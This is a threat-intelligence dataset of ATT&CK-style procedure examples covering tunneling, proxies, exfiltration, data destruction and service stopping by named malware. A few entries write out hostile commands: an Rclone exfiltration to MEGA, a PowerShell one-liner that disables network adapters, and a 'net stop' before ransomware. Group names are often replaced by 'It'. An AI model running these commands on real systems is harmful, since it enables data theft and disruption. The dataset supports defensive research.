KJChen/tech2proc huggingface dataset:
Technique:  Protocol Tunneling
Brute Ratel C4 can use DNS over HTTPS for C2.
During C0027, It used SSH tunneling in targeted environments.
It has encapsulated Cobalt Strike's C2 protocol in DNS and HTTPS.
It has used the Plink utility to create SSH tunnels.
Cobalt Strike uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.
During CostaRicto, the threat actors set up remote SSH tunneling into the victim's environment from a malicious domain.
Cyclops Blink can use DNS over HTTPS (DoH) to resolve C2 nodes.
Duqu uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.
It has utilized web shells and Java tools for tunneling capabilities to and from compromised assets.
It used the Plink command-line utility to create SSH tunnels to C2 servers.
FLIPSIDE uses RDP to tunnel traffic from a victim environment.
It has used protocol tunneling for communication and RDP activity on compromised hosts through the use of open source tools such as ngrok and custom tool SSHMinion.
FunnyDream can connect to HTTP proxies via TCP to create a tunnel to C2.
Heyoka Backdoor can use spoofed DNS requests to create a bidirectional tunnel between a compromised host and its C2 servers.
Industroyer attempts to perform an HTTP CONNECT via an internal proxy to establish a tunnel.
Kevin can use a custom protocol tunneled through DNS or HTTP.
It has used protocol tunneling to further conceal C2 communications and infrastructure.
It has used Plink to tunnel RDP over SSH.
Milan can use a custom protocol tunneled through DNS or HTTP.
Mythic can use SOCKS proxies to tunnel traffic through another protocol.
ngrok can tunnel RDP and other services securely over internet connections.
It has used the Plink utility and other tools to create tunnels to C2 servers.
The QakBot proxy module can encapsulate SOCKS5 protocol within its own proxy protocol.
Uroburos has the ability to communicate over custom communications methodologies that ride over common network protocols including raw TCP and UDP sockets, HTTP, SMTP, and DNS.
Technique:  Proxy:Internal Proxy
It used custom tools to create SOCK5 and custom protocol proxies between infected hosts.
The "ZJ" variant of BACKSPACE allows "ZJ link" infections with Internet access to relay traffic from "ZJ listen" to a command server.
CHOPSTICK used a proxy server between victims and the C2 server.
Cobalt Strike can be configured to have commands relayed over a peer-to-peer network of infected hosts. This can be used to limit the number of egress points, or provide access to a host without direct internet access.
Drovorub can use a port forwarding rule on its agent module to relay network traffic through the client module to a remote host on the same network.
Duqu can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.
FatDuke can used pipes to connect machines with restricted internet access to remote machines via other infected hosts.
It has utilized a proxy tool to communicate between compromised assets.
It discovered system proxy settings and used them if available.
Hikit supports peer connections.
InvisiMole can function as a proxy to create a server that relays communication between the client and C&C server, or between two clients.
Kazuar has used internal nodes on the compromised network for C2 communications.
It has used a compromised router to serve as a proxy between a victim network's corporate and restricted segments.
Mafalda can create a named pipe to listen for and send data to a named pipe-based C2 server.
metaMain can create a named pipe to listen for and send data to a named pipe-based C2 server.
MiniDuke can can use a named pipe to forward communications from one compromised machine with internet access to other compromised machines.
Mythic can leverage a peer-to-peer C2 profile between agents.
During Operation Wocao, threat actors proxied traffic through multiple infected systems.
Pay2Key has designated machines in the compromised network to serve as reverse proxy pivot points to channel communications with C2.
During the SolarWinds Compromise, It used SSH port forwarding capabilities on public-facing systems, and configured at least one instance of Cobalt Strike to use a network pipe over SMB.
It has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.
Stuxnet installs an RPC server for P2P communications.
It has compromised internal network systems to act as a proxy to forward traffic to C2.
It has used the built-in netsh port proxy command to create proxies on compromised systems to facilitate access.
The Winnti for Windows HTTP/S C2 mode can make use of a local proxy.
Technique:  Proxy:External Proxy
It used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. It has also used a machine to relay and obscure communications between CHOPSTICK and their server.
An It downloader establishes SOCKS5 connections for its initial C2.
It has used various tools to proxy C2 communications.
It maintains access to victim environments by using FLIPSIDE to create a proxy for a backup RDP tunnel.
It used a modified version of HTRAN to redirect connections between networks.
InvisiMole InvisiMole can identify proxy servers used by the victim and use them for C2 communication.
It has used multiple proxies to obfuscate network traffic from victims.
It has used a global service provider's IP as a proxy for C2 traffic from a victim.
It has controlled POWERSTATS from behind a proxy network to obfuscate the C2 location. It has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2).
Mythic can leverage a modified SOCKS5 proxy to tunnel egress C2 traffic.
Okrum can identify proxy servers configured and used by the victim, and use it to make HTTP requests to C2 its server.
POWERSTATS has connected to C2 servers through proxies.
QakBot has a module that can proxy C2 communications.
QUIETEXIT can proxy traffic via SOCKS.
Regin leveraged several compromised universities as proxies to obscure its origin.
ShimRat can use pre-configured HTTP proxies.
It has used ProxyBot, which allows the attacker to redirect traffic from the current node to the backconnect server via Sock4\Socks5.
It has routed their traffic through an external server in order to obfuscate their location.
TrickBot has been known to reach a command and control server via one of nine proxy IP addresses.
The Winnti for Windows HTTP/S C2 mode can make use of an external proxy.
Technique:  Proxy:Multi-hop Proxy
It has routed traffic over Tor and VPN servers to obfuscate their activities.
A backdoor used by It created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network and has also used TOR.
Attor has used Tor for C2 communication.
During CostaRicto, the threat actors used a layer of proxies to manage C2 communications.
Cyclops Blink has used Tor nodes for C2 traffic.
Dok downloads and installs Tor via homebrew.
Dridex can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.
It has used Tor to log in to victims' email accounts.
GreyEnergy has used Tor relays for Command and Control servers.
It used chains of compromised routers to proxy C2 communications between them and cloud service providers.
Industroyer used Tor nodes for C2.
Keydnap uses a copy of tor2web proxy for HTTPS communications.
Kobalos can chain together multiple compromised machines as proxies to reach their final targets.
It has used multi-hop proxies to disguise the source of their malicious traffic.
MacSpy uses Tor for command and control.
During Operation Wocao, threat actors executed commands through the installed web shell via Tor exit nodes.
Siloscape uses Tor to communicate with C2.
StrongPity can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.
Traffic traversing the Tor network will be forwarded to multiple nodes before exiting the Tor network and continuing on to its intended destination.
Uroburos can use implants on multiple compromised machines to proxy communications through its worldwide P2P network.
Ursnif has used Tor for C2.
WannaCry uses Tor for command and control traffic.
Technique:  Proxy:Domain Fronting
It has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic.
Cobalt Strike has the ability to accept a value for HTTP Host Header to enable domain fronting.
meek uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended destination.
Mythic supports domain fronting via custom request headers.
SMOKEDHAM has used a fronted domain to obfuscate its hard-coded C2 server domain.
Technique:  Remote Access Software
During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network.
During C0018, the threat actors used AnyDesk to transfer tools between systems.
During C0027, It directed victims to run remote monitoring and management (RMM) tools.
It has a plugin for VNC and Ammyy Admin Tool.
It used legitimate programs such as AmmyyAdmin and Team Viewer for remote interactive C2 to target systems.
It used the Ammyy Admin tool as well as TeamViewer for remote access, including to preserve remote access if a Cobalt Strike module was lost.
It used DameWare Mini Remote Control for lateral movement.
Dridex contains a module for VNC.
Egregor has checked for the LogMein event log in an attempt to encrypt files in remote machines.
EVILNUM has used the malware variant, TerraTV, to run a legitimate TeamViewer application to connect to compromrised machines.
It has utilized the remote management tool Atera to download malware to a compromised system.
It has used the cloud-based remote management and monitoring tool "ConnectWise Control" to deploy REvil.
Hildegard has established tmate sessions for C2 communications.
It has used a modified TeamViewer client as a command and control channel.
It has used a legitimate application, ScreenConnect, to manage systems remotely and move laterally.
It has installed TeamViewer on targeted systems.
During Night Dragon, threat actors used several remote administration tools as persistent infiltration channels.
It has the capability to download a VNC module from command and control (C2).
It has used a modified version of TeamViewer and Remote Utilities for remote access.
It has used remote administration tools or remote industrial control system client software for execution and to maliciously release electricity breakers.
It has established tmate sessions for C2 communications.
It used a cloud-based remote access software called LogMeIn for their attacks.
TrickBot uses vncDll module to remote control the victim machine.
Technique:  Web Service
It has used Dropbox, Amazon S3, and Google Drive to host malicious downloads.
BADHATCH can be utilized to abuse sslip.io, a free IP to domain mapping service, as part of actor-controlled C2 channels.
Bazar downloads have been hosted on Google Docs.
BoomBox can download files from Dropbox using a hardcoded access token.
Brute Ratel C4 can use legitimate websites for external C2 channels including Slack, Discord, and MS Teams.
Bumblebee has been downloaded to victim's machines from OneDrive.
During C0017, It used the Cloudflare services for C2 communications.
During C0027, It downloaded tools from sites including file.io, GitHub, and paste.ee.
Carbon can use Pastebin to receive C2 commands.
CharmPower can download additional modules from actor-controlled Amazon S3 buckets.
DarkTortilla can retrieve its primary payload from public sites such as Pastebin and Textbin.
Doki has used the dogechain.info API to generate a C2 address.
DropBook can communicate with its operators by exploiting the Simplenote, DropBox, and the social media platform, Facebook, where it can create fake accounts to control the backdoor and receive instructions.
It has used Discord's content delivery network (CDN) to deliver malware and malicious scripts to a compromised host.
It has used file-sharing services including WeTransfer, TransferNow, and OneDrive to deliver payloads.
It has used Pastebin and Google Storage to host content for their operations.
It has used sslip.io, a free IP to domain mapping service that also makes SSL certificate generation easier for traffic encryption, as part of their command and control.
It has used Amazon Web Services to host C2.
It has used GitHub repositories for downloaders which will be obtained by the group's .NET executable on the compromised system.
GuLoader has the ability to download malware from Google Drive.
Hildegard has downloaded scripts from GitHub.
It has incorporated at least five different cloud service providers into their C2 infrastructure including CloudMe.
It has used GitHub to host its payloads to operate spam campaigns.
It has used DropBox URLs to deliver variants of PlugX.
NETWIRE has used web services including Paste.ee to host payloads.
ngrok has been used by threat actors to proxy C2 connections to ngrok service subdomains.
During Operation Spalax, the threat actors used OneDrive and MediaFire to host payloads.
It has used Pastebin, Gitee, and GitLab for Command and Control.
SharpStage has used a legitimate web service for evading detection.
Sibot has used a legitimate compromised website to download DLLs to the victim's machine.
SMOKEDHAM has used Google Drive and Dropbox to host files downloaded by victims via malicious links.
Snip3 can download additional payloads from web services including Pastebin and top4top.
It has leveraged iplogger.org to send collected data back to C2.
It has used legitimate web services including Pastebin, Dropbox, and GitHub for C2 communications.
WhisperGate can download additional payloads hosted on a Discord channel.
Technique:  Web Service:Dead Drop Resolver
It used legitimate websites for C2 through dead drop resolvers (DDR), including GitHub, Pastebin, and Microsoft TechNet.
Astaroth can store C2 information on cloud hosting services such as AWS and CloudFlare and websites like YouTube and Facebook.
BADNEWS collects C2 information via a dead drop resolver.
BLACKCOFFEE uses Microsoft’s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server.
It's MSGET downloader uses a dead drop resolver to access malicious payloads.
During C0017, It used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably It updated the community forum posts frequently with new dead drop resolvers during the campaign.
CharmPower can retrieve C2 domain information from actor-controlled S3 buckets.
Grandoreiro can obtain C2 information from Google Docs.
Javali can read C2 information from Google Documents and YouTube.
The KEYPLUG Windows variant has retrieved C2 addresses from encoded data in posts on tech community forums.
Metamorfo has used YouTube to store and hide C&C server domains.
Some MiniDuke components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.
It hides base64-encoded and encrypted C2 server locations in comments on legitimate websites.
PlugX uses Pastebin to store C2 addresses.
PolyglotDuke can use Twitter, Reddit, Imgur and other websites to get a C2 URL.
It has used Pastebin to check the version of beaconing malware and redirect to another Pastebin hosting updated malware.
It has used an RSS feed on Livejournal to update a list of encrypted C2 server names. It has also hidden Pony C2 server IP addresses within transactions on the Bitcoin and Namecoin blockchain.
It has used an RSS feed on Livejournal to update a list of encrypted C2 server names.
Xbash can obtain a webpage hosted on Pastebin to update its C2 domain list.
Technique:  Web Service:One-Way Communication
EVILNUM has used a one-way communication method via GitLab and Digital Point to perform C2.
The "tDiscoverer" variant of HAMMERTOSS establishes a C2 channel by downloading resources from Web services like Twitter and GitHub. HAMMERTOSS binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day.
It has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet.
Metamorfo has downloaded a zip file for execution on the system.
OnionDuke uses Twitter as a backup C2.
Technique:  Automated Exfiltration
Attor has a file uploader plugin that automatically exfiltrates the collected data and log files to the C2 server.
CosmicDuke exfiltrates collected files automatically over FTP to remote servers.
Crutch has automatically exfiltrated stolen files to Dropbox.
Doki has used a script that gathers information from a hardcoded list of IP addresses and uploads to an Ngrok URL.
Ebury can automatically exfiltrate gathered SSH credentials.
Empire has the ability to automatically send collected data back to the threat actors' C2.
During Frankenstein, the threat actors collected information via Empire, which was automatically sent back to the adversary's C2.
It has used modules that automatically upload gathered documents to the C2 server.
It has performed  frequent and scheduled data exfiltration from compromised networks.
LightNeuron can be configured to automatically exfiltrate files under a specified directory.
It’s collected files are exfiltrated automatically to remote servers.
OutSteel can automatically upload collected files to its C2 server.
Peppy has the ability to automatically exfiltrate files and keylogs.
Rover automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. Rover also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.
ShimRatReporter sent collected system and network information compiled into a report to an adversary-controlled C2.
It has configured tools to automatically send collected files to attacker controlled servers.
StrongPity can automatically exfiltrate collected documents to the C2 server.
TajMahal has the ability to manage an automated queue of egress files and commands sent to its C2.
When a document is found matching one of the extensions in the configuration, TINYTYPHON uploads it to the C2 server.
It has used a copy function to automatically exfiltrate sensitive data from air-gapped systems using USB storage.
USBStealer automatically exfiltrates collected files via removable media when an infected device connects to an air-gapped victim machine after initially being connected to an internet-enabled victim machine.
Technique:  Data Transfer Size Limits
AppleSeed has divided files if the size is 0x1000000 bytes or more.
It has split archived exfiltration files into chunks smaller than 1MB.
During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration.
During C0026, the threat actors split encrypted archives containing stolen files and information into 3MB parts prior to exfiltration.
It exfiltrates data in compressed chunks if a message is larger than 4096 bytes .
Cobalt Strike will break large data sets into smaller chunks for exfiltration.
Helminth splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.
Kessel can split the data to be exilftrated into chunks that will fit in subdomains of DNS queries.
Kevin can exfiltrate data to the C2 server in 27-character chunks.
It has split archived files into multiple parts to bypass a 5MB limit.
Mythic supports custom chunk sizes used to upload/download files.
ObliqueRAT can break large files of interest into smaller chunks to prepare them for exfiltration.
OopsIE exfiltrates command output and collected files to its C2 server in 1500-byte blocks.
POSHSPY uploads data in 2048-byte chunks.
The Rclone "chunker" overlay supports splitting large files in smaller chunks during upload to circumvent size limits.
RDAT can upload a file via HTTP POST response to the C2 split into 102,400-byte portions. RDAT can also download data from the C2 which is split into 81,920-byte portions.
It actors have split RAR files for exfiltration into parts.
Technique:  Exfiltration Over Alternative Protocol
AADInternals can directly download cloud user data such as OneDrive files.
Bundlore uses the curl -s -L -o command to exfiltrate archived data to a URL.
Chaes has exfiltrated its collected data from the infected machine to the C2, sometimes using the MIME protocol.
FrameworkPOS can use DNS tunneling for exfiltration of credit card data.
Hydraq connects to a predefined domain on port 443 to exfil gathered information.
Kobalos can exfiltrate credentials over the network via UDP.
PoetRAT has used a .NET tool named dog.exe to exiltrate information over an e-mail account.
It has sent locally staged files with collected credentials to C2 servers using cURL.
Technique:  Exfiltration Over Alternative Protocol:Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
It has exfiltrated archives of collected data previously staged on a target's OWA server via HTTPS.
Rclone can exfiltrate data over SFTP or HTTPS via WebDAV.
During the SolarWinds Compromise, It exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.
Technique:  Exfiltration Over Alternative Protocol:Exfiltration Over Unencrypted Non-C2 Protocol
Agent Tesla has routines for exfiltration over SMTP, FTP, and HTTP.
It's backdoor can exfiltrate data by encoding it in the subdomain field of DNS packets.
It has used FTP to exfiltrate files (separately from the C2 channel).
BITSAdmin can be used to create BITS Jobs to upload files from a compromised host.
Some Brave Prince variants have used South  Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command.
During C0017, It exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.
Carbon uses HTTP to send data to the C2 server.
ccf32 can upload collected data and files to an FTP server.
CharmPower can send victim data via FTP with credentials hardcoded in the script.
Cherry Picker exfiltrates files over FTP.
CookieMiner has used the curl --upload-file command to exfiltrate data over HTTP.
CORALDECK has exfiltrated data in HTTP POST headers.
CosmicDuke exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers.
Dok exfiltrates logs of its execution stored in the /tmp folder over FTP using the curl command.
It has sent stolen payment card data to remote servers via HTTP POSTs.
It has used FTP to exfiltrate collected data.
ftp may be used to exfiltrate data separate from the main command and control protocol.
Kessel can exfiltrate credentials and other information via HTTP POST request, TCP, and DNS.
KONNI has used FTP to exfiltrate reconnaissance data out.
It malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.
It has exfiltrated data over FTP separately from its primary C2 channel over DNS.
PoetRAT has used ftp for exfiltration.
Rclone can exfiltrate data over FTP or HTTP, including HTTP via WebDAV.
Remsec can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.
It has used WinSCP to exfiltrate data from a targeted organization over FTP.
WindTail has the ability to automatically exfiltrate files using the macOS built-in utility /usr/bin/curl.
It has exfiltrated victim information using FTP.
Technique:  Exfiltration Over Other Network Medium:Exfiltration Over Bluetooth
Flame has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.
Technique:  Exfiltration Over Physical Medium:Exfiltration over USB
Agent.btz creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.
It has a feature to copy files from every drive onto a removable drive in a hidden folder.
It has used a customized PlugX variant which could exfiltrate documents from air-gapped networks.
Remsec contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.
SPACESHIP copies staged data to removable drives when they are inserted into the system.
It has exfiltrated data using USB storage devices.
USBStealer exfiltrates collected files via removable media from air-gapped victims.
Technique:  Exfiltration Over Web Service
AppleSeed has exfiltrated files using web services.
It can exfiltrate data over Google Drive.
During C0017, It used Cloudflare services for data exfiltration.
DropBook has used legitimate web services to exfiltrate data.
It has used the Telegram API sendMessage to relay data on compromised devices.
ngrok has been used by threat actors to configure servers for data exfiltration.
Technique:  Exfiltration Over Web Service:Exfiltration to Code Repository
Empire can use GitHub for data exfiltration.
Technique:  Exfiltration Over Web Service:Exfiltration to Cloud Storage
BoomBox can upload data to dedicated per-victim folders in Dropbox.
BoxCaon has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.
During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M.
It has exfiltrated stolen data to OneDrive accounts.
Clambling can send files from a victim's machine to Dropbox.
It has exfiltrated victim data to cloud storage service accounts.
CreepyDrive can use cloud services including OneDrive for data exfiltration.
Crutch has exfiltrated stolen data to Dropbox.
It has used the megacmd tool to upload stolen files from a victim network to MEGA.
Empire can use Dropbox for data exfiltration.
It has exfiltrated stolen data to the MEGA file sharing site.
It has exfiltrated data to file sharing sites, including MEGA.
HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.
It has used cloud services, including OneDrive, for data exfiltration.
It has exfiltrated stolen files and data to actor-controlled Blogspot accounts.
It has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.
It has exfiltrated data to Google Drive.
Octopus has exfiltrated data to file sharing sites.
During Operation Dream Job, It used a custom build of open-source command-line dbxcli to exfiltrate stolen data to Dropbox.
It has exfiltrated stolen data to It-owned OneDrive and Dropbox accounts.
RainyDay can use a file exfiltration tool to upload specific files to Dropbox.
Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.
ROKRAT can send collected data to cloud storage services such as PCloud.
It has exfiltrated stolen data to Dropbox.
It has used WebDAV to upload stolen USB files to a cloud drive. It has also exfiltrated stolen files to OneDrive and 4shared.
It has exfiltrated stolen victim data to various cloud storage providers.
ItM has exfiltrated stolen data to Dropbox.
Technique:  Scheduled Transfer
ADVSTORESHELL collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.
Chrommme can set itself to sleep before requesting a new command from C2.
Cobalt Strike can set its Beacon payload to reach out to the C2 server on an arbitrary and random interval.
ComRAT has been programmed to sleep outside local business hours (9 to 5, Monday to Friday).
Dipsind can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic.
Flagpro has the ability to wait for a specified time interval between communicating with and executing commands from C2.
It sent the victim computer identifier in a User-Agent string back to the C2 server every 10 minutes.
jRAT can be configured to reconnect at certain intervals.
Kazuar can sleep for a specific time and be set to communicate at specific intervals.
LightNeuron can be configured to exfiltrate data during nighttime or working hours.
Linfo creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure.
It sends stolen data to the C2 server every 10 minutes.
POWERSTATS can sleep for a given number of seconds.
ShadowPad has sent data back to C2 every 8 hours.
Shark can pause C2 communications for a specified time.
ShimRat can sleep when instructed to do so by the C2.
TinyIt contacts its C2 based on a scheduled timing set in its configuration.
Technique:  Account Access Removal
It has removed a targeted organization's global admin accounts to lock the organization out of all access.
LockerGoga has been observed changing account passwords and logging off current users.
MegaCortex has changed user account passwords and logged users off the system.
Meteor has the ability to change the password of local users on compromised hosts and can log off users.
Technique:  Data Destruction
It has used a custom secure delete function to make deleted files unrecoverable.
BlackEnergy 2 contains a "Destroy" plug-in that destroys data stored on victim hard drives by overwriting file contents.
CaddyWiper can work alphabetically through drives on a compromised system to take ownership of and overwrite all files.
Diavol can delete specified files from a targeted system.
It has used tools to delete files and folders from victims' desktops and profiles.
HermeticWiper can recursively wipe folders and files in Windows, Program Files, Program Files(x86), PerfLogs, Boot, System, Volume Information, and AppData folders using FSCTL_MOVE_FILE. HermeticWiper can also overwrite symbolic links and big files in My Documents and on the Desktop with random bytes.
Industroyer’s data wiper module clears registry keys and overwrites both ICS configuration and Windows files.
Kazuar can overwrite files with random data before deleting them.
KillDisk deletes system files to make the OS unbootable. KillDisk also targets and deletes files with 35 different file extensions.
It has deleted the target's systems and resources both on-premises and in the cloud.
It has used a custom secure delete function to overwrite file contents with data from heap memory.
Meteor can fill a victim's files and directories with zero-bytes in replacement of real content before deleting them.
Olympic Destroyer overwrites files locally and on remote shares.
PowerDuke has a command to write random data across a file and delete it.
Proxysvc can overwrite files indicated by the attacker before deleting them.
RawDisk was used in Shamoon to write to protected system locations such as the MBR and disk partitions in an effort to destroy data.
REvil has the capability to destroy files and folders.
It has used the BlackEnergy KillDisk component to overwrite files on Windows-based Human-Machine Interfaces.
SDelete deletes data in a way that makes it unrecoverable.
Shamoon attempts to overwrite operating system files and disk structures with image files. In a later variant, randomly generated data was used for data overwrites.
StoneDrill has a disk wiper module that targets files other than those in the Windows directory.
WhisperGate can corrupt files by overwriting the first 1 MB with 0xcc and appending random extensions.
Xbash has destroyed Linux-based databases as part of its ransomware capabilities.
Technique:  Data Manipulation
It has injected fraudulent transactions into compromised networks that mimic legitimate behavior to siphon off incremental amounts of money.
Technique:  Data Manipulation:Stored Data Manipulation
It has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions.
SUNSPOT created a copy of the SolarWinds Orion software source file with a .bk extension to backup the original content, wrote SUNBURST using the same filename but with a .tmp extension, and then moved SUNBURST using MoveFileEx to the original filename with a .cs extension so it could be compiled within Orion software.
Technique:  Data Manipulation:Transmitted Data Manipulation
It has used DYEPACK to manipulate SWIFT messages en route to a printer.
LightNeuron is capable of modifying email content, headers, and attachments during transit.
Melcoz can monitor the clipboard for cryptocurrency addresses and change the intended address to one controlled by the adversary.
Metamorfo has a function that can watch the contents of the system clipboard for valid bitcoin addresses, which it then overwrites with the attacker's address.
Technique:  Data Manipulation:Runtime Data Manipulation
It has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user.
Technique:  Defacement:Internal Defacement
Black Basta has set the desktop wallpaper on victims' machines to display a ransom note.
BlackCat can change the desktop wallpaper on compromised hosts.
After encryption, Diavol will capture the desktop background window, set the background color to black, and change the desktop wallpaper to a newly created bitmap image with the text "All your files are encrypted! For more information see "README-FOR-DECRYPT.txt".
It has left taunting images and messages on the victims' desktops as proof of system access.
It replaced the background wallpaper of systems with a threatening image after rendering the system unbootable with a Disk Structure Wipe.
Meteor can change both the desktop wallpaper and the lock screen image to a custom image.
Technique:  Defacement:External Defacement
It defaced approximately 15,000 websites belonging to Georgian government, non-government, and private sector organizations in 2019.
Technique:  Disk Wipe:Disk Content Wipe
BlackCat has the ability to wipe VM snapshots on compromised networks.
HermeticWiper has the ability to corrupt disk partitions and obtain raw disk access to destroy data.
It has used malware like WhiskeyAlfa to overwrite the first 64MB of every drive with a mix of static and random buffers. A similar process is then used to wipe content in logical drives and, finally, attempt to wipe every byte of every sector on every drive. WhiskeyBravo can be used to overwrite the first 4.9MB of physical drives. WhiskeyDelta can overwrite the first 132MB or 1.5MB of each drive with random data from heap memory.
MegaCortex can wipe deleted data from all drives using cipher.exe.
RawDisk has been used to directly access the hard disk to help overwrite arbitrarily sized portions of disk content.
StoneDrill can wipe the accessible physical or logical drives of the infected machine.
WhisperGate can overwrite sectors of a victim host's hard drive at periodic offsets.
Technique:  Disk Wipe:Disk Structure Wipe
It has access to destructive malware that is capable of overwriting a machine's Master Boot Record (MBR).
It has used a custom MBR wiper named BOOTWRECK to render systems inoperable.
CaddyWiper has the ability to destroy information about a physical drive's partitions including the MBR, GPT, and partition entries.
HermeticWiper has the ability to corrupt disk partitions, damage the Master Boot Record (MBR), and overwrite the Master File Table (MFT) of all available physical drives.
KillDisk overwrites the first sector of the Master Boot Record with "0x00".
It malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine and has possessed MBR wiper malware since at least 2009.
RawDisk was used in Shamoon to help overwrite components of disk structure like the MBR and disk partitions.
It has used the BlackEnergy KillDisk component to corrupt the infected system's master boot record.
Shamoon has been seen overwriting features of disk structure such as the MBR.
StoneDrill can wipe the master boot record of an infected computer.
WhisperGate can overwrite the Master Book Record (MBR) on victim systems with a malicious 16-bit bootloader.
Technique:  Endpoint Denial of Service
OnionDuke has the capability to use a Denial of Service module.
It temporarily disrupted service to Georgian government, non-government, and private sector websites after compromising a Georgian web hosting provider in 2019.
ZxShell has a feature to perform SYN flood attack on a host.
Technique:  Endpoint Denial of Service:Application or System Exploitation
Industroyer uses a custom DoS tool that leverages CVE-2015-5374 and targets hardcoded IP addresses of Siemens SIPROTEC devices.
Technique:  Financial Theft
It has observed the victim's software and infrastructure over several months to understand the technical process of legitimate financial transactions, prior to attempting to conduct fraudulent transactions.
It targets organizations in high technology, higher education, and manufacturing for business email compromise (BEC) campaigns with the goal of financial theft.
Technique:  Firmware Corruption
Bad Rabbit has used an executable that installs a modified bootloader to prevent normal boot-up.
TrickBot module "Trickboot" can write or erase the UEFI/BIOS firmware of a compromised device.
Technique:  Network Denial of Service
In 2016, It conducted a distributed denial of service (DDoS) attack against the World Anti-Doping Agency.
Lucifer can execute TCP, UDP,  and HTTP denial of service (DoS) attacks.
Technique:  Resource Hijacking
It deployed a Monero cryptocurrency mining tool in a victim’s environment.
It has used XMRIG to mine cryptocurrency on victim systems.
Bonadan can download an additional module which has a cryptocurrency mining extension.
CookieMiner has loaded coinmining software onto systems to mine for Koto cryptocurrency.
Hildegard has used xmrig to mine cryptocurrency.
Imminent Monitor has the capability to run a cryptocurrency miner on the victim machine.
Kinsing has created and run a Bitcoin cryptocurrency miner.
LoudMiner harvested system resources to mine cryptocurrency, using XMRig to mine Monero.
Lucifer can use system resources to mine cryptocurrency, dropping XMRig to mine Monero.
It has distributed cryptomining malware.
Skidmap is a kernel-mode rootkit used for cryptocurrency mining.
It has deployed XMRig Docker images to mine cryptocurrency. It has also infected Docker containers and Kubernetes clusters with XMRig, and used RainbowMiner and lolMiner for mining cryptocurrency.
Technique:  Service Stop
Avaddon looks for and attempts to stop database processes.
AvosLocker has terminated specific processes before encryption.
Babuk can stop specific services related to backups.
BlackCat has the ability to stop VM services on compromised networks.
Clop can kill several processes and services related to backups and security solutions.
Conti can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of net stop.
Cuba has a hardcoded list of services and processes to terminate.
Diavol will terminate services using the Service Control Manager (SCM) API.
EKANS stops database, data backup solution, antivirus, and ICS-related processes.
HermeticWiper has the ability to stop the Volume Shadow Copy service.
HotCroissant has the ability to stop services on the infected host.
It has used PsExec to stop services prior to the execution of ransomware.
Industroyer’s data wiper module writes zeros into the registry keys in SYSTEM\CurrentControlSet\Services to render a system inoperable.
KillDisk terminates various processes to get the user to reboot the victim machine.
It has shut down virtual machines from within a victim's on-premise VMware ESXi infrastructure.
It has stopped the MSExchangeIS service to render Exchange contents inaccessible to users.
LookBack can kill processes and delete services.
Maze has stopped SQL services to ensure it can encrypt any database.
MegaCortex can stop and disable services on the system.
Meteor can disconnect all network adapters on a compromised host using powershell -Command "Get-WmiObject -class Win32_NetworkAdapter | ForEach { If ($.NetEnabled) { $.Disable() } }" > NUL.
Netwalker can terminate system processes and services, some of which relate to backup software.
Olympic Destroyer uses the API call ChangeServiceConfigW to disable all services on the affected system.
Pay2Key can stop the MS SQL service at the end of the encryption process to release files locked by the service.
Prestige has attempted to stop the MSSQL Windows service to ensure successful encryption using C:\Windows\System32\net.exe stop MSSQLSERVER.
Pysa can stop services and processes.
Ragnar Locker has attempted to stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted.
REvil has the capability to stop services and kill processes.
